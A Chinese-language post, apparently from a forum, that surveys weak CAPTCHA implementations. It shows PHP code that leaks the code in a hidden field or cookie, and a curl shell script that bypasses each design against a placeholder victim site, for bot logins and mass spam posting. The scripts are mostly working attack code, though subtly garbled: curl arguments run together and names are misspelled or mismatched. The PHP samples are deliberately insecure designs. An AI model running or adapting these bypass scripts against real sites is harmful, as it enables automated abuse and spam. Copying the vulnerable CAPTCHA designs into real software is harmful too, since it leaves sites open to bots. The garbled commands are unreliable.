所謂驗證碼,就是將一串隨機產生的數字或符號,產生一幅圖片,圖片裡加上一些幹擾象素(防止OCR),由使用者肉眼識別其中的驗證碼資訊。
輸入表單提交網站驗證,驗證成功後才能使用某項功能。不少網站為了防止使用者利用機器人自動註冊、登入、灌水,都採用了 驗證碼技術。
很多驗證碼實現都有問題。比如直接給出用驗證碼在網頁和cookies中。
驗證碼在網頁中的例子:
CODE:
<?
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/
srand((double)microtime()*1000000);
//驗證使用者輸入是否和驗證碼一致
if(isset($HTTP_POST_VARS['authinput']))
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "驗證成功!";
else
echo "驗證失敗!";
}
//產生新的四位整數驗證碼
while(($authnum=rand()%10000)<1000);
?>
<form. action=authpage.php method=post>
<table>
請輸入驗證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗證" value="提交驗證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form>
[Copy to clipboard]
以上例子直接將驗證碼儲存在負面中,只需下載頁面,得到驗證碼值就可突破限制。
CODE:
#!/bin/sh
curlhttp://www.vicitm.org/authpage.php
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到網頁中的
authnum
curlhttp://www.vicitm.org/authpage.php-d name=hacker -d submit="驗證" -d authnum=$authnum
[Copy to clipboard]
CODE:
session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum);
...
<input type=text name=authnum maxlength=4><img src=get_code.php>
...
if($number != $login_check_number || empty($number))
{
print("校正碼不正確!");
die();
}
[Copy to clipboard]
第二種要比上一種聰明一點,把驗證碼值存放在使用者Cookies中。可是由於Cookies是使用者可讀可寫,所以也極易被突破。
CODE:
#!/bin/sh
$username=hacker
$password=hackme
curlhttp://www.vicitm.org/index.php-c common_cookie # 接受伺服器的初始cookies
curlhttp://www.vicitm.org/get_code.php-c $username.cook -b common_cookie # 得到驗證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curlhttp://www.victim.org/login.php-b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用
cookies中的驗證碼登陸
[Copy to clipboard]
更進階的驗證碼。(好像本論壇的就是這種。。。。)
有一類驗證碼比以上兩種驗證碼要進階一些,它使用如下演算法:
1、伺服器產生一個隨機hash。
2、使用某個演算法(無法復原,破解難度高的)將hash轉化成為驗證碼數字,再轉化成圖片。
3、hash在cookie中被發送到用戶端
4、客戶以圖片輸入驗證碼,進行登入。伺服器檢查f(hash)=驗證碼。
特點:因為攻擊者不明白伺服器所使用的驗證碼編碼演算法,所以無法對伺服器轉來的hash進行直接解析。
對付這種驗證碼,我們可以使用“到期cookies法”,方法即:儲存伺服器一次特定的cookies,將其對應驗證碼記下。在每次發送驗證訊息時
,強行扔掉伺服器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話儲值卡可以用多次一樣。
如:
先從伺服器上下載一張驗證碼圖片:
curlhttp://www.victim.org/get_code.php-c cookie -o auth.png
人工閱讀,得到$savecookie(cookie檔案中的hash)和$authnum(驗證碼)。
機器人突破驗證時,扔掉伺服器給的hash,強制使用$savecookie和$authnum進行突破
CODE:
$savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme
curlhttp://www.victim.org/index.php-c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉伺服器給你的hash
echo "www.victim.org FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強行使用到期hash 和驗證碼
mv tmp.$username $username.cookie
curlhttp://www.victim.org/login.php-b $username.cookie -c $username.cookie -d username=$username -d password=$password -d
authnum=$num # 使用到期驗證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。
[Copy to clipboard]
最進階的驗證碼。
它使用如下方法:
1、伺服器通過使用者相關資訊(IP,SID等等)產生一個隨機hash。
2、使用某個演算法(無法復原,破解難度高的)將hash轉化成為驗證碼數字。
3、hash不再發送給用戶端。它被儲存到本機資料庫(通常是SESSIONS,有關使用者IP等資訊),並由一個序號seq所指向。(這個seq也可以是session id)
4、seq被作為cookies發送給用戶端。
5、客戶以圖片輸入驗證碼。
6、伺服器驗證方法:伺服器並不檢查f(hash)==驗證碼,而是去讀取資料庫中期望的驗證碼。。如果使用者輸入與期望值相同,則驗證成功。有些伺服器可能還會seq與session id之間的關係進行驗繼續進行驗證。
7、一旦使用者進行了驗證操作或重新擷取驗證碼,而是伺服器將對資料庫中的hash值替換成新的,老值失效到期。
特點:
×到期:由於伺服器只期望儲存在當前資料庫中的驗證碼,所以無法使用“到期”的驗證碼(因為已被新驗證碼所替換)。
×高強度:只發送seq,而hash被儲存在本地,所以也極難破譯出f(hash)函數。
弱點:
OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反覆請求,導致某些使用者無法進行正常驗證)
對付這種驗證碼我沒有什麼好的方法,簡便的方法就是自行下載驗證碼,並給使用者顯示後登陸。這種適用只驗證一次的場合。如登陸時驗證。
CODE:
curlhttp://www.victim.org/get_code.php-c validate.png -c validcode_cookie # 得到驗證碼圖片,和對應seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請輸入validate.png中的驗證碼:
read valid_number # 輸入驗證碼
# 登陸,並進行某種自動化操作,如瘋狂灌水。